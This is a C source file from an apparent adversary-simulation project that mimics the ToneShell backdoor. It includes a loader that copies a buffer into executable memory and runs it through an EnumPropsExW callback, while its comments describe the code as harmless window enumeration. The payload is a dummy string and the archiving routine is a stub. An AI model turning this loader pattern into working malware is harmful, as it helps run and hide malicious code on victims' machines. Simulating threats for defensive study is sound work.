APTs-Adversary-Simulation/Chinese APT/Mustang Panda/ToneShellBackdoor.c

// ToneShell Backdoor initializes data and dynamically allocates memory for a function pointer (PROPENUMPROCEXW), using it to enumerate window properties. It includes functions for dummy data handling, debug message output, and simulating file archiving with a password (without actual implementation). Key operations include:

// 1.Data Handling: Obtains and processes dummy data.
// 2.Memory Management: Allocates memory for executing function pointers.
// 3.Window Enumeration: Uses EnumPropsExW() to list window properties.
// 4.Debugging: Outputs static messages for diagnostics.

// Автор: S3N4T0R
// Дата: 2024-9-12

// manual compile: x86_64-w64-mingw32-gcc -o ToneShellBackdoor.exe ToneShellBackdoor.c -lwinhttp

#include <windows.h>
#include <stdio.h>
#include <string.h>

// Function prototypes
void ValidateAndProcessData(void **dataBuffer, SIZE_T *dataSize);
void DisplayTimedDebugMessages(void);
void ArchiveFilesWithPassword(const char *password);

// Function to set up and enumerate window properties
void SetupAndEnumWindowProps(void)
{
    SIZE_T size;
    PROPENUMPROCEXW enumFunc;
    HWND hWnd;
    void *dataBuffer;
    SIZE_T dataSize;

    // Initialize variables
    dataBuffer = NULL;
    dataSize = 0;

    // Validate and process data
    ValidateAndProcessData(&dataBuffer, &dataSize);

    printf("Start...buitengebieden\n");

    DisplayTimedDebugMessages();

    printf("ZackAllen......techyteachme Ok\n");

    size = dataSize;

    // Allocate memory for the function
    enumFunc = (PROPENUMPROCEXW) VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (enumFunc == NULL) {
        fprintf(stderr, "Memory allocation failed.\n");
        return;
    }

    // Copy data to allocated memory
    memcpy(enumFunc, dataBuffer, size);

    // Get the top-level window
    hWnd = GetTopWindow(NULL);
    
    if (hWnd == NULL) {
        fprintf(stderr, "Failed to get the top-level window.\n");
        VirtualFree(enumFunc, 0, MEM_RELEASE);
        return;
    }
    
    // Enumerate properties
    if (!EnumPropsExW(hWnd, enumFunc, 0)) {
        fprintf(stderr, "EnumPropsExW failed.\n");
    }

    // Clean up
    VirtualFree(enumFunc, 0, MEM_RELEASE);
}

// Placeholder for ValidateAndProcessData function
void ValidateAndProcessData(void **dataBuffer, SIZE_T *dataSize)
{
    // Simulate some dummy data for demonstration
    static char dummyData[] = "DummyFunctionData";
    *dataBuffer = (void *)dummyData;
    *dataSize = sizeof(dummyData);
}

// Placeholder for DisplayTimedDebugMessages function
void DisplayTimedDebugMessages(void)
{
    // Simulate displaying debug messages
    printf("Debug message: Timed debug output.\n");
}

// Function to archive files with a password (stub)
void ArchiveFilesWithPassword(const char *password)
{
    // Simulate the logic for archiving files with a password
    // In a real implementation, you would use a library to create and protect RAR files
    printf("Archiving files with password: %s\n", password);
}

// Main entry point
int main(void)
{
    // Example password for the RAR archive
    const char *password = "Pa$$w0rd1234";  // 13-character example password

    // Run the setup and enumeration function
    SetupAndEnumWindowProps();

    // Archive files with the specified password
    ArchiveFilesWithPassword(password);

    return 0;
}